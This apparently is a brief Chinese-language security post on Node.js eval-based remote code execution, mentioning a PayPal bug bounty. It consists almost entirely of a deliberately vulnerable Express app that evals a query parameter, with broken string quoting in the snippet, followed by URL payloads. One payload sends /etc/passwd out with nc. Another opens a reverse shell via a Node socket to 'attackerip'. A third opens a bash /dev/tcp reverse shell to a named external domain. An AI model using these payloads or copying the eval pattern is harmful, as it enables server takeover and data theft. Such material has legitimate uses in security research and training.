nodejs,代码执行,nodejs远程代码执行漏洞背景 @Artsploit在挖PayPal的漏洞时，发现一处NodeJS代码执行，奖励$10000美金。 测试 var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q);});app.listen(8080, function () { console.log('Example listening on port 8080!');});任意文件读取 http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')GET SHELL http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});GET SHELL2 http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
